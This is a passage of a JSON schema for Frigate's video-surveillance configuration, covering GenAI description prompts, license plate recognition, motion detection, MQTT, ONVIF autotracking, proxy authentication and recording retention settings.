"mask": {"additionalProperties": {"anyOf": [{"$ref": "#/$defs/ObjectMaskConfig"}, {"type": "null"}]}, "description": "Polygon coordinates defining where this filter applies within the frame.", "title": "Filter mask", "type": "object"}, "raw_mask": {"additionalProperties": {"anyOf": [{"$ref": "#/$defs/ObjectMaskConfig"}, {"type": "null"}]}, "title": "Raw Mask", "type": "object"}}, "title": "FilterConfig", "type": "object"}, "GenAIConfig": {"additionalProperties": false, "description": "Primary GenAI Config to define GenAI Provider.", "properties": {"api_key": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "API key required by some providers (can also be set via environment variables).", "title": "API key"}, "base_url": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Base URL for self-hosted or compatible providers (for example an Ollama instance).", "title": "Base URL"}, "model": {"default": "", "description": "The model to use from the provider for generating descriptions or summaries.", "title": "Model", "type": "string"}, "provider": {"$ref": "#/$defs/GenAIProviderEnum", "description": "The GenAI provider to use (for example: ollama, gemini, openai).", "title": "Provider"}, "roles": {"description": "GenAI roles (chat, descriptions, embeddings, transcribe); one provider per role. Only chat, descriptions, and embeddings are granted by default; transcribe must be listed explicitly.", "items": {"$ref": "#/$defs/GenAIRoleEnum"}, "title": "Roles", "type": "array"}, "provider_options": {"additionalProperties": {}, "default": {}, "description": "Additional provider-specific options to pass to the GenAI client.", "title": "Provider options", "type": "object"}, "runtime_options": {"additionalProperties": {}, "default": {}, "description": "Runtime options passed to the provider for each inference call.", "title": "Runtime options", "type": "object"}}, "required": ["provider"], "title": "GenAIConfig", "type": "object"}, "GenAIObjectConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable GenAI generation of descriptions for tracked objects by default.", "title": "Enable GenAI", "type": "boolean"}, "use_snapshot": {"default": false, "description": "Use object snapshots instead of thumbnails for GenAI description generation.", "title": "Use snapshots", "type": "boolean"}, "prompt": {"default": "Analyze the sequence of images containing the {label}. Focus on the likely intent or behavior of the {label} based on its actions and movement, rather than describing its appearance or the surroundings. Consider what the {label} is doing, why, and what it might do next.", "description": "Default prompt template used when generating descriptions with GenAI.", "title": "Caption prompt", "type": "string"}, "object_prompts": {"additionalProperties": {"type": "string"}, "description": "Per-object prompts to customize GenAI outputs for specific labels.", "title": "Object prompts", "type": "object"}, "objects": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "List of object labels to send to GenAI by default.", "title": "GenAI objects"}, "required_zones": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "Zones that must be entered for objects to qualify for GenAI description generation.", "title": "Required zones"}, "debug_save_thumbnails": {"default": false, "description": "Save thumbnails sent to GenAI for debugging and review.", "title": "Save thumbnails", "type": "boolean"}, "send_triggers": {"$ref": "#/$defs/GenAIObjectTriggerConfig", "description": "Defines when frames should be sent to GenAI (on end, after updates, etc.).", "title": "GenAI triggers"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Indicates whether GenAI was enabled in the original static config.", "title": "Original GenAI state"}}, "title": "GenAIObjectConfig", "type": "object"}, "GenAIObjectTriggerConfig": {"additionalProperties": false, "properties": {"tracked_object_end": {"default": true, "description": "Send a request to GenAI when the tracked object ends.", "title": "Send on end", "type": "boolean"}, "after_significant_updates": {"anyOf": [{"minimum": 1, "type": "integer"}, {"type": "null"}], "default": null, "description": "Send a request to GenAI after a specified number of significant updates for the tracked object.", "title": "Early GenAI trigger"}}, "title": "GenAIObjectTriggerConfig", "type": "object"}, "GenAIProviderEnum": {"enum": ["openai", "azure_openai", "gemini", "ollama", "llamacpp"], "title": "GenAIProviderEnum", "type": "string"}, "GenAIReviewConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable GenAI-generated descriptions and summaries for review items.", "title": "Enable GenAI descriptions", "type": "boolean"}, "alerts": {"default": true, "description": "Use GenAI to generate descriptions for alert items.", "title": "Enable GenAI for alerts", "type": "boolean"}, "detections": {"default": false, "description": "Use GenAI to generate descriptions for detection items.", "title": "Enable GenAI for detections", "type": "boolean"}, "image_source": {"$ref": "#/$defs/ImageSourceEnum", "default": "preview", "description": "Source of images sent to GenAI ('preview' or 'recordings'); 'recordings' uses higher quality frames but more tokens.", "title": "Review image source"}, "additional_concerns": {"default": [], "description": "A list of additional concerns or notes the GenAI should consider when evaluating activity on this camera.", "items": {"type": "string"}, "title": "Additional concerns", "type": "array"}, "debug_save_thumbnails": {"default": false, "description": "Save thumbnails that are sent to the GenAI provider for debugging and review.", "title": "Save thumbnails", "type": "boolean"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Tracks whether GenAI review was originally enabled in the static configuration.", "title": "Original GenAI state"}, "preferred_language": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Preferred language to request from the GenAI provider for generated responses.", "title": "Preferred language"}, "frame_mode": {"$ref": "#/$defs/ReviewFrameModeEnum", "default": "frames", "description": "How frames are presented to the model. 'frames' sends the prompt followed by the frames, which suits models that track a sequence well on their own. 'annotated_frames' labels each frame and interleaves notes derived from object tracking, which helps models that lose track of activity that repeats or reverses.", "title": "Frame mode"}, "response_style": {"$ref": "#/$defs/ReviewResponseStyleEnum", "default": "default", "description": "Writing style preset for generated review descriptions. Presets adjust the tone and level of detail of the user-facing title, summary, and scene description; 'default' leaves the built-in prompt unchanged.", "title": "Response style"}, "activity_context_prompt": {"default": "### Normal Activity Indicators (Level 0)\n- Known/verified people in any zone at any time\n- People with pets in residential areas\n- Routine residential vehicle access during daytime/evening (6 AM - 10 PM): entering, exiting, loading/unloading items \u2014 normal commute and travel patterns\n- Deliveries or services during daytime/evening (6 AM - 10 PM): carrying packages to doors/porches, placing items, leaving\n- Services/maintenance workers with visible tools, uniforms, or service vehicles during daytime\n- Activity confined to public areas only (sidewalks, streets) without entering property at any time\n\n### Suspicious Activity Indicators (Level 1)\n- **Checking or probing vehicle/building access**: trying handles without entering, peering through windows, examining multiple vehicles, or possessing break-in tools \u2014 Level 1\n- **Unidentified person in private areas (driveways, near vehicles/buildings) during late night/early morning (11 PM - 5 AM)** \u2014 ALWAYS Level 1 regardless of activity or duration\n- Taking items that don't belong to them (packages, objects from porches/driveways)\n- Climbing or jumping fences/barriers to access property\n- Attempting to conceal actions or items from view\n- Prolonged loitering: remaining in same area without visible purpose throughout most of the sequence\n\n### Critical Threat Indicators (Level 2)\n- Holding break-in tools (crowbars, pry bars, bolt cutters)\n- Weapons visible (guns, knives, bats used aggressively)\n- Forced entry in progress\n- Physical aggression or violence\n- Active property damage or theft in progress\n\n### Assessment Guidance\nEvaluate in this order:\n\n1. **If person is verified/known** \u2192 Level 0 regardless of time or activity\n2. **If person is unidentified:**\n - Check time: If late night/early morning (11 PM - 5 AM) AND in private areas (driveways, near vehicles/buildings) \u2192 Level 1\n - Check actions: If probing access (trying handles without entering, checking multiple vehicles), taking items, climbing \u2192 Level 1\n - Otherwise, if daytime/evening (6 AM - 10 PM) with clear legitimate purpose (delivery, service, routine vehicle access) \u2192 Level 0\n3. **Escalate to Level 2 if:** Weapons, break-in tools, forced entry in progress, violence, or active property damage visible (escalates from Level 0 or 1)\n\nThe mere presence of an unidentified person in private areas during late night hours is inherently suspicious and warrants human review, regardless of what activity they appear to be doing or how brief the sequence is.", "description": "Custom prompt describing what is and is not suspicious activity to provide context for GenAI summaries.", "title": "Activity context prompt", "type": "string"}}, "title": "GenAIReviewConfig", "type": "object"}, "GenAIRoleEnum": {"enum": ["chat", "descriptions", "embeddings", "transcribe"], "title": "GenAIRoleEnum", "type": "string"}, "HeaderMappingConfig": {"additionalProperties": false, "properties": {"user": {"default": null, "description": "Header containing the authenticated username provided by the upstream proxy.", "title": "User header", "type": "string"}, "role": {"default": null, "description": "Header containing the authenticated user's role or groups from the upstream proxy.", "title": "Role header", "type": "string"}, "role_map": {"anyOf": [{"additionalProperties": {"items": {"type": "string"}, "type": "array"}, "type": "object"}, {"type": "null"}], "description": "Map upstream group values to Frigate roles (for example map admin groups to the admin role).", "title": "Role mapping"}}, "title": "HeaderMappingConfig", "type": "object"}, "IPv6Config": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable IPv6 support for Frigate services (API and UI) where applicable.", "title": "Enable IPv6", "type": "boolean"}}, "title": "IPv6Config", "type": "object"}, "ImageSourceEnum": {"description": "Image source options for GenAI Review.", "enum": ["preview", "recordings"], "title": "ImageSourceEnum", "type": "string"}, "InputDTypeEnum": {"enum": ["float", "float_denorm", "int"], "title": "InputDTypeEnum", "type": "string"}, "InputTensorEnum": {"enum": ["nchw", "nhwc", "hwnc", "hwcn"], "title": "InputTensorEnum", "type": "string"}, "LicensePlateRecognitionConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable license plate recognition for all cameras; can be overridden per-camera.", "title": "Enable LPR", "type": "boolean"}, "model_size": {"$ref": "#/$defs/ModelSizeEnum", "default": "small", "description": "Model size used for text detection/recognition. Most users should use 'small'.", "title": "Model size"}, "detection_threshold": {"default": 0.7, "description": "Detection confidence threshold to begin running OCR on a suspected plate.", "exclusiveMinimum": 0.0, "maximum": 1.0, "title": "Detection threshold", "type": "number"}, "min_area": {"default": 1000, "description": "Minimum plate area (pixels) required to attempt recognition.", "title": "Minimum plate area", "type": "integer"}, "recognition_threshold": {"default": 0.9, "description": "Confidence threshold required for recognized plate text to be attached as a sub-label.", "exclusiveMinimum": 0.0, "maximum": 1.0, "title": "Recognition threshold", "type": "number"}, "min_plate_length": {"default": 4, "description": "Minimum number of characters a recognized plate must contain to be considered valid.", "title": "Min plate length", "type": "integer"}, "format": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Optional regex to validate recognized plate strings against an expected format.", "title": "Plate format regex"}, "match_distance": {"default": 1, "description": "Number of character mismatches allowed when comparing detected plates to known plates.", "minimum": 0, "title": "Match distance", "type": "integer"}, "known_plates": {"anyOf": [{"additionalProperties": {"items": {"type": "string"}, "type": "array"}, "type": "object"}, {"type": "null"}], "default": {}, "description": "List of plates or regexes to specially track or alert on.", "title": "Known plates"}, "enhancement": {"default": 0, "description": "Enhancement level (0-10) to apply to plate crops prior to OCR; higher values may not always improve results, levels above 5 may only work with night time plates and should be used with caution.", "maximum": 10, "minimum": 0, "title": "Enhancement level", "type": "integer"}, "debug_save_plates": {"default": false, "description": "Save plate crop images for debugging LPR performance.", "title": "Save debug plates", "type": "boolean"}, "device": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "This is an override, to target a specific device. See https://onnxruntime.ai/docs/execution-providers/ for more information", "title": "Device"}, "replace_rules": {"description": "Regex replacement rules used to normalize detected plate strings before matching.", "items": {"$ref": "#/$defs/ReplaceRule"}, "title": "Replacement rules", "type": "array"}}, "title": "LicensePlateRecognitionConfig", "type": "object"}, "ListenConfig": {"additionalProperties": false, "properties": {"internal": {"anyOf": [{"type": "integer"}, {"type": "string"}], "default": 5000, "description": "Internal listening port for Frigate (default 5000).", "title": "Internal port"}, "external": {"anyOf": [{"type": "integer"}, {"type": "string"}], "default": 8971, "description": "External listening port for Frigate (default 8971).", "title": "External port"}}, "title": "ListenConfig", "type": "object"}, "LiveTranscodeConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Add lower-quality live streams that go2rtc transcodes in real time while someone is watching.", "title": "Enable transcoded streams", "type": "boolean"}, "source": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "go2rtc stream to transcode. Defaults to the first live stream.", "title": "Source stream"}, "qualities": {"description": "One transcoded stream is added per quality.", "items": {"$ref": "#/$defs/LiveTranscodeQualityConfig"}, "title": "Qualities", "type": "array"}}, "title": "LiveTranscodeConfig", "type": "object"}, "LiveTranscodeQualityConfig": {"additionalProperties": false, "properties": {"height": {"description": "Output height in pixels; width follows the source aspect ratio.", "maximum": 2160, "minimum": 144, "title": "Height", "type": "integer"}, "bitrate": {"description": "Target and maximum video bitrate in kbps.", "minimum": 64, "title": "Bitrate", "type": "integer"}}, "required": ["height", "bitrate"], "title": "LiveTranscodeQualityConfig", "type": "object"}, "LogLevel": {"enum": ["debug", "info", "warning", "error", "critical"], "title": "LogLevel", "type": "string"}, "LoggerConfig": {"additionalProperties": false, "properties": {"default": {"$ref": "#/$defs/LogLevel", "default": "info", "title": "Logging level", "description": "Default global log verbosity (debug, info, warning, error)."}, "logs": {"additionalProperties": {"$ref": "#/$defs/LogLevel"}, "description": "Per-component log level overrides to increase or decrease verbosity for specific modules.", "title": "Per-process log level", "type": "object"}}, "title": "LoggerConfig", "type": "object"}, "ModelConfig": {"additionalProperties": false, "properties": {"scene": {"default": "default", "description": "A name for the camera environment this model is used for, such as 'thermal'. Cameras select a model by setting detect.scene to a matching value, and the 'default' model is used by any camera that does not set one.", "pattern": "^[A-Za-z0-9_-]+$", "title": "Model scene", "type": "string"}, "devices": {"description": "Hardware this model runs on, as '' or ':' (for example 'edgetpu:pci:0' or 'openvino:GPU'). Listing the same device more than once runs additional inference processes on it.", "items": {"type": "string"}, "title": "Detection hardware", "type": "array"}, "path": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Path to a custom detection model file (or plus:// for Frigate+ models).", "title": "Custom object detector model path"}, "labelmap_path": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Path to a labelmap file that maps numeric classes to string labels for the detector.", "title": "Label map for custom object detector"}, "width": {"default": 320, "description": "Width of the model input tensor in pixels.", "title": "Object detection model input width", "type": "integer"}, "height": {"default": 320, "description": "Height of the model input tensor in pixels.", "title": "Object detection model input height", "type": "integer"}, "labelmap": {"additionalProperties": {"type": "string"}, "description": "Overrides or remapping entries to merge into the standard labelmap.", "title": "Labelmap customization", "type": "object"}, "attributes_map": {"additionalProperties": {"items": {"type": "string"}, "type": "array"}, "default": {"person": ["amazon", "face"], "car": ["amazon", "an_post", "canada_post", "dhl", "dpd", "fedex", "gls", "license_plate", "nzpost", "postnl", "postnord", "purolator", "royal_mail", "ups", "usps"], "truck": ["license_plate"], "garbage_truck": ["license_plate"], "motorcycle": ["license_plate"], "bus": ["license_plate"], "school_bus": ["license_plate"]}, "description": "Mapping from object labels to attribute labels used to attach metadata (for example 'car' -> ['license_plate']).", "title": "Map of object labels to their attribute labels", "type": "object"}, "input_tensor": {"$ref": "#/$defs/InputTensorEnum", "default": "nhwc", "description": "Tensor format expected by the model: 'nhwc' or 'nchw'.", "title": "Model Input Tensor Shape"}, "input_pixel_format": {"$ref": "#/$defs/PixelFormatEnum", "default": "rgb", "description": "Pixel colorspace expected by the model: 'rgb', 'bgr', or 'yuv'.", "title": "Model Input Pixel Color Format"}, "input_dtype": {"$ref": "#/$defs/InputDTypeEnum", "default": "int", "description": "Data type of the model input tensor (for example 'float32').", "title": "Model Input D Type"}, "model_type": {"$ref": "#/$defs/ModelTypeEnum", "default": "ssd", "description": "Detector model architecture type (ssd, yolox, yolonas, yolo-generic, rfdetr, dfine) used by some detectors for optimization.", "title": "Object Detection Model Type"}}, "title": "ModelConfig", "type": "object"}, "ModelSizeEnum": {"enum": ["small", "large"], "title": "ModelSizeEnum", "type": "string"}, "ModelTypeEnum": {"enum": ["dfine", "rfdetr", "ssd", "yolox", "yolonas", "yolo-generic"], "title": "ModelTypeEnum", "type": "string"}, "MotionConfig": {"additionalProperties": false, "properties": {"enabled": {"default": true, "description": "Enable or disable motion detection for all cameras; can be overridden per-camera.", "title": "Enable motion detection", "type": "boolean"}, "threshold": {"default": 30, "description": "Pixel difference threshold used by the motion detector; higher values reduce sensitivity (range 1-255).", "maximum": 255, "minimum": 1, "title": "Motion threshold", "type": "integer"}, "lightning_threshold": {"default": 0.8, "description": "Threshold to detect and ignore brief lighting spikes (lower is more sensitive, values between 0.3 and 1.0). This does not prevent motion detection entirely; it merely causes the detector to stop analyzing additional frames once the threshold is exceeded. Motion-based recordings are still created during these events.", "maximum": 1.0, "minimum": 0.3, "title": "Lightning threshold", "type": "number"}, "skip_motion_threshold": {"anyOf": [{"maximum": 1.0, "minimum": 0.0, "type": "number"}, {"type": "null"}], "default": null, "description": "If set to a value between 0.0 and 1.0, and more than this fraction of the image changes in a single frame, the detector will return no motion boxes and immediately recalibrate. This can save CPU and reduce false positives during lightning, storms, etc., but may miss real events such as a PTZ camera auto\u2011tracking an object. The trade\u2011off is between dropping a few megabytes of recordings versus reviewing a couple short clips. Leave unset (None) to disable this feature.", "title": "Skip motion threshold"}, "improve_contrast": {"default": true, "description": "Apply contrast improvement to frames before motion analysis to help detection.", "title": "Improve contrast", "type": "boolean"}, "contour_area": {"anyOf": [{"type": "integer"}, {"type": "null"}], "default": 10, "description": "Minimum contour area in pixels required for a motion contour to be counted.", "title": "Contour area"}, "delta_alpha": {"default": 0.2, "description": "Alpha blending factor used in frame differencing for motion calculation.", "title": "Delta alpha", "type": "number"}, "frame_alpha": {"default": 0.01, "description": "Alpha value used when blending frames for motion preprocessing.", "title": "Frame alpha", "type": "number"}, "frame_height": {"anyOf": [{"type": "integer"}, {"type": "null"}], "default": 100, "description": "Height in pixels to scale frames to when computing motion.", "title": "Frame height"}, "mask": {"additionalProperties": {"anyOf": [{"$ref": "#/$defs/MotionMaskConfig"}, {"type": "null"}]}, "description": "Ordered x,y coordinates defining the motion mask polygon used to include/exclude areas.", "title": "Mask coordinates", "type": "object"}, "mqtt_off_delay": {"default": 30, "description": "Seconds to wait after last motion before publishing an MQTT 'off' state.", "title": "MQTT off delay", "type": "integer"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Indicates whether motion detection was enabled in the original static configuration.", "title": "Original motion state"}, "raw_mask": {"additionalProperties": {"anyOf": [{"$ref": "#/$defs/MotionMaskConfig"}, {"type": "null"}]}, "title": "Raw Mask", "type": "object"}}, "title": "MotionConfig", "type": "object"}, "MotionMaskConfig": {"additionalProperties": false, "description": "Configuration for a single motion mask.", "properties": {"friendly_name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "A friendly name for this motion mask used in the Frigate UI", "title": "Friendly name"}, "enabled": {"default": true, "description": "Enable or disable this motion mask", "title": "Enabled", "type": "boolean"}, "coordinates": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "", "description": "Ordered x,y coordinates defining the motion mask polygon used to include/exclude areas.", "title": "Coordinates"}, "raw_coordinates": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "", "title": "Raw Coordinates"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "title": "Keep track of original state of motion mask."}}, "title": "MotionMaskConfig", "type": "object"}, "MqttConfig": {"additionalProperties": false, "properties": {"enabled": {"default": true, "description": "Enable or disable MQTT integration for state, events, and snapshots.", "title": "Enable MQTT", "type": "boolean"}, "host": {"default": "", "description": "Hostname or IP address of the MQTT broker.", "title": "MQTT host", "type": "string"}, "port": {"default": 1883, "description": "Port of the MQTT broker (usually 1883 for plain MQTT).", "title": "MQTT port", "type": "integer"}, "topic_prefix": {"default": "frigate", "description": "MQTT topic prefix for all Frigate topics; must be unique if running multiple instances.", "title": "Topic prefix", "type": "string"}, "client_id": {"default": "frigate", "description": "Client identifier used when connecting to the MQTT broker; should be unique per instance.", "title": "Client ID", "type": "string"}, "stats_interval": {"default": 60, "description": "Interval in seconds for publishing system and camera stats to MQTT.", "minimum": 15, "title": "Stats interval", "type": "integer"}, "user": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Optional MQTT username; can be provided via environment variables or secrets.", "title": "MQTT username"}, "password": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Optional MQTT password; can be provided via environment variables or secrets.", "title": "MQTT password"}, "tls_ca_certs": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Path to CA certificate for TLS connections to the broker (for self-signed certs).", "title": "TLS CA certs"}, "tls_client_cert": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Client certificate path for TLS mutual authentication; do not set user/password when using client certs.", "title": "Client cert"}, "tls_client_key": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Private key path for the client certificate.", "title": "Client key"}, "tls_insecure": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Allow insecure TLS connections by skipping hostname verification (not recommended).", "title": "TLS insecure"}, "qos": {"default": 0, "description": "Quality of Service level for MQTT publishes/subscriptions (0, 1, or 2).", "title": "MQTT QoS", "type": "integer"}}, "title": "MqttConfig", "type": "object"}, "NetworkingConfig": {"additionalProperties": false, "properties": {"ipv6": {"$ref": "#/$defs/IPv6Config", "description": "IPv6-specific settings for Frigate network services.", "title": "IPv6 configuration"}, "listen": {"$ref": "#/$defs/ListenConfig", "description": "Configuration for internal and external listening ports. This is for advanced users. For the majority of use cases it's recommended to change the ports section of your Docker compose file.", "title": "Listening ports configuration"}}, "title": "NetworkingConfig", "type": "object"}, "NotificationConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable notifications for all cameras; can be overridden per-camera.", "title": "Enable notifications", "type": "boolean"}, "email": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Email address used for push notifications or required by certain notification providers.", "title": "Notification email"}, "cooldown": {"default": 0, "description": "Cooldown (seconds) between notifications to avoid spamming recipients.", "minimum": 0, "title": "Cooldown period", "type": "integer"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Indicates whether notifications were enabled in the original static configuration.", "title": "Original notifications state"}}, "title": "NotificationConfig", "type": "object"}, "ObjectClassificationType": {"enum": ["sub_label", "attribute"], "title": "ObjectClassificationType", "type": "string"}, "ObjectConfig": {"additionalProperties": false, "properties": {"track": {"default": ["person"], "description": "List of object labels to track for all cameras; can be overridden per-camera.", "items": {"type": "string"}, "title": "Objects to track", "type": "array"}, "filters": {"additionalProperties": {"$ref": "#/$defs/FilterConfig"}, "description": "Filters applied to detected objects to reduce false positives (area, ratio, confidence).", "title": "Object filters", "type": "object"}, "mask": {"additionalProperties": {"anyOf": [{"$ref": "#/$defs/ObjectMaskConfig"}, {"type": "null"}]}, "description": "Mask polygon used to prevent object detection in specified areas.", "title": "Object mask", "type": "object"}, "raw_mask": {"additionalProperties": {"anyOf": [{"$ref": "#/$defs/ObjectMaskConfig"}, {"type": "null"}]}, "title": "Raw Mask", "type": "object"}, "genai": {"$ref": "#/$defs/GenAIObjectConfig", "description": "GenAI options for describing tracked objects and sending frames for generation.", "title": "GenAI object config"}}, "title": "ObjectConfig", "type": "object"}, "ObjectMaskConfig": {"additionalProperties": false, "description": "Configuration for a single object mask.", "properties": {"friendly_name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "A friendly name for this object mask used in the Frigate UI", "title": "Friendly name"}, "enabled": {"default": true, "description": "Enable or disable this object mask", "title": "Enabled", "type": "boolean"}, "coordinates": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "", "description": "Ordered x,y coordinates defining the object mask polygon used to include/exclude areas.", "title": "Coordinates"}, "raw_coordinates": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "", "title": "Raw Coordinates"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "title": "Keep track of original state of object mask."}}, "title": "ObjectMaskConfig", "type": "object"}, "OnvifConfig": {"additionalProperties": false, "properties": {"host": {"default": "", "description": "Host (and optional scheme) for the ONVIF service for this camera.", "title": "ONVIF host", "type": "string"}, "port": {"default": 8000, "description": "Port number for the ONVIF service.", "title": "ONVIF port", "type": "integer"}, "user": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Username for ONVIF authentication; some devices require admin user for ONVIF.", "title": "ONVIF username"}, "password": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Password for ONVIF authentication.", "title": "ONVIF password"}, "tls_insecure": {"default": false, "description": "Skip TLS verification and disable digest auth for ONVIF (unsafe; use in safe networks only).", "title": "Disable TLS verify", "type": "boolean"}, "profile": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Specific ONVIF media profile to use for PTZ control, matched by token or name. If not set, the first profile with valid PTZ configuration is selected automatically.", "title": "ONVIF profile"}, "autotracking": {"$ref": "#/$defs/PtzAutotrackConfig", "description": "Automatically track moving objects and keep them centered in the frame using PTZ camera movements.", "title": "Autotracking"}, "ignore_time_mismatch": {"default": false, "description": "Ignore time synchronization differences between camera and Frigate server for ONVIF communication.", "title": "Ignore time mismatch", "type": "boolean"}}, "title": "OnvifConfig", "type": "object"}, "PixelFormatEnum": {"enum": ["rgb", "bgr", "yuv"], "title": "PixelFormatEnum", "type": "string"}, "ProfileDefinitionConfig": {"additionalProperties": false, "description": "Defines a named profile with a human-readable display name.\n\nThe dict key is the machine name used internally; friendly_name\nis the label shown in the UI and API responses.", "properties": {"friendly_name": {"description": "Display name for this profile shown in the UI.", "title": "Friendly name", "type": "string"}}, "required": ["friendly_name"], "title": "ProfileDefinitionConfig", "type": "object"}, "ProxyConfig": {"additionalProperties": false, "properties": {"header_map": {"$ref": "#/$defs/HeaderMappingConfig", "description": "Map incoming proxy headers to Frigate user and role fields for proxy-based auth.", "title": "Header mapping"}, "logout_url": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "URL to redirect users to when logging out via the proxy.", "title": "Logout URL"}, "auth_secret": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Optional secret checked against the X-Proxy-Secret header to verify trusted proxies.", "title": "Proxy secret"}, "default_role": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": "viewer", "description": "Default role assigned to proxy-authenticated users when no role mapping applies. Set to 'none' to deny access to unmapped users.", "title": "Default role"}, "separator": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": ",", "description": "Character used to split multiple values provided in proxy headers.", "title": "Separator character"}}, "title": "ProxyConfig", "type": "object"}, "PtzAutotrackConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable automatic PTZ camera tracking of detected objects.", "title": "Enable Autotracking", "type": "boolean"}, "calibrate_on_startup": {"default": false, "description": "Measure PTZ motor speeds on startup to improve tracking accuracy. Frigate will update config with movement_weights after calibration.", "title": "Calibrate on start", "type": "boolean"}, "zooming": {"$ref": "#/$defs/ZoomingModeEnum", "default": "disabled", "description": "Control zoom behavior: disabled (pan/tilt only), absolute (most compatible), or relative (concurrent pan/tilt/zoom).", "title": "Zoom mode"}, "zoom_factor": {"default": 0.3, "description": "Control zoom level on tracked objects. Lower values keep more scene in view; higher values zoom in closer but may lose tracking. Values between 0.1 and 0.75.", "maximum": 0.75, "minimum": 0.1, "title": "Zoom factor", "type": "number"}, "track": {"default": ["person"], "description": "List of object types that should trigger autotracking.", "items": {"type": "string"}, "title": "Tracked objects", "type": "array"}, "required_zones": {"description": "Objects must enter one of these zones before autotracking begins.", "items": {"type": "string"}, "title": "Required zones", "type": "array"}, "return_preset": {"default": "home", "description": "ONVIF preset name configured in camera firmware to return to after tracking ends.", "title": "Return preset", "type": "string"}, "timeout": {"default": 10, "description": "Wait this many seconds after losing tracking before returning camera to preset position.", "title": "Return timeout", "type": "integer"}, "movement_weights": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}, {"type": "null"}], "description": "Calibration values automatically generated by camera calibration. Do not modify manually.", "title": "Movement weights"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Internal field to track whether autotracking was enabled in configuration.", "title": "Original autotrack state"}}, "title": "PtzAutotrackConfig", "type": "object"}, "RecordConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable recording for all cameras; can be overridden per-camera.", "title": "Enable recording", "type": "boolean"}, "expire_interval": {"default": 60, "description": "Minutes between cleanup passes that remove expired recording segments.", "minimum": 1, "title": "Record cleanup interval", "type": "integer"}, "continuous": {"$ref": "#/$defs/RecordRetainConfig", "description": "Number of days to retain recordings regardless of tracked objects or motion. Set to 0 if you only want to retain recordings of alerts and detections.", "title": "Continuous retention"}, "motion": {"$ref": "#/$defs/RecordRetainConfig", "description": "Number of days to retain recordings triggered by motion regardless of tracked objects. Set to 0 if you only want to retain recordings of alerts and detections.", "title": "Motion retention"}, "detections": {"$ref": "#/$defs/EventsConfig", "description": "Recording retention settings for detection events including pre/post capture durations.", "title": "Detection retention"}, "alerts": {"$ref": "#/$defs/EventsConfig", "description": "Recording retention settings for alert events including pre/post capture durations.", "title": "Alert retention"}, "export": {"$ref": "#/$defs/RecordExportConfig", "description": "Settings used when exporting recordings such as timelapse and hardware acceleration.", "title": "Export config"}, "preview": {"$ref": "#/$defs/RecordPreviewConfig", "description": "Settings controlling the quality of recording previews shown in the UI.", "title": "Preview config"}, "sub": {"$ref": "#/$defs/RecordSubConfig", "description": "Settings for recording a second, lower quality stream.", "title": "Sub stream recording"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Indicates whether recording was enabled in the original static configuration.", "title": "Original recording state"}}, "title": "RecordConfig", "type": "object"}, "RecordExportConfig": {"additionalProperties": false, "properties": {"hwaccel_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "auto", "description": "Hardware acceleration args to use for export/transcode operations.", "title": "Export hwaccel args"}, "max_concurrent": {"default": 3, "description": "Maximum number of export jobs to process at the same time.", "minimum": 1, "title": "Maximum concurrent exports", "type": "integer"}, "chapters": {"$ref": "#/$defs/ChaptersEnum", "default": "review_items", "title": "Chapter metadata to embed in exported recordings"}}, "title": "RecordExportConfig", "type": "object"}, 